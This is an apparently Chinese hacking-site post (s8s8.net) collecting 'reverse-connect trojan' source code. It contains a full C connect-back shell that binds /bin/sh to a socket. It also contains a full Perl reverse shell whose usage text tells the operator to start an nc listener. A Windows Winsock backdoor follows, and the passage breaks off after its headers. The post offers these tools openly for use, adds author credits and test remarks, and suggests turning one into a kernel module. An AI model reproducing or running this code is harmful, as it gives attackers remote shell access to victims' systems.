http://www.s8s8.net 网络技术 第一个反弹木马代码:作者 iceblood 代码 #include <stdio.h>#include <sys/types.h>#include <sys/socket.h>#include <unistd.h>#include <fcntl.h>#include <netinet/in.h>#include <netdb.h>void usage();char shell[]="/bin/sh";char message[]="s8s8 welcome\n";int sock;int main(int argc, char *argv[]) {if(argc <3){usage(argv[0]);}struct sockaddr_in server;if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {printf("Couldn't make socket!\n"); exit(-1);}server.sin_family = AF_INET;server.sin_port = htons(atoi(argv[2]));server.sin_addr.s_addr = inet_addr(argv[1]);if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {printf("Could not connect to remote shell!\n");exit(-1);}send(sock, message, sizeof(message), 0);dup2(sock, 0);dup2(sock, 1);dup2(sock, 2);execl(shell,"/bin/sh",(char *)0);close(sock);return 1;}void usage(char *prog[]) { printf("\t\ts8s8 connect back door\n\n");printf("\t [email protected]\n\n");printf("Usage: %s <reflect ip> <port>\n", prog);exit(-1);} 测试结果如下图：县得有点简陋了，不过还能讲究的过去。。如果需要可以写成LKM，呵呵。 第二个反弹木马代码:作者cnhackTNT 代码 #!/usr/bin/perl#http://www.s8s8.net#cnhackTNT[AT]hotmail.comuse strict;use Socket;use Cwd;use IO::Handle;if ( @ARGV < 1 ) {print <<"EOF";usage: nc -l -p PORT(default 66666) on your local system first,thenPerl $0 Remote IP <space> Remote_port(default 66666)Type 'quit' to exit or press Enter to gain shell when u under the 'S8S8 console'.Enjoy ur shell!Welcome to http://www.s8s8.netEOFexit;}my $remote = $ARGV[0];my $remote_port = $ARGV[1] || 66666;my $proto = getprotobyname('tcp');my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) );my $path = cwd();my $shell = '/bin/sh -i';socket( SOCK, AF_INET, SOCK_STREAM, $proto ) || die "socket error: $!";STDOUT->autoflush(1);SOCK->autoflush(1);connect( SOCK, $pack_addr ) || die "connection error : $!";open STDIN, ">&SOCK";open STDOUT, ">&SOCK";open STDERR, ">&SOCK";print "You are in $path\n";print "Welcome to www.s8s8.net\nEnjoy ur shell.\n\n[S8S8 console]>";while (<SOCK>) { chomp; if ( lc($_) eq 'quit' ) { print "\nWelcome to www.s8s8.net"; print "\nByeBye~~~!\n"; exit; } elsif ($_) { system($shell); print "\n[S8S8 console]>"; } else { print "\n[S8S8 console]>"; }}close SOCK;exit; 很简单，功能和上面sql兄那个c版本的差不多。测试截图： 第三个反弹木马代码:作者dahubaobao 代码 #include <winsock2.h>#include <windows.h>#include <string.h>#include <stdlib.h>#include <stdio.h>#pragma comment (lib,"ws2_32.lib")#define PASSSUCCESS "Password success!\n"#define PASSERROR "Password error.\n"#define BYEBYE "ByeBye!\n"#define WSAerron WSAGetLastError()#define erron GetLastError()VOID WINAPI EXEBackMain (LPVOID s);
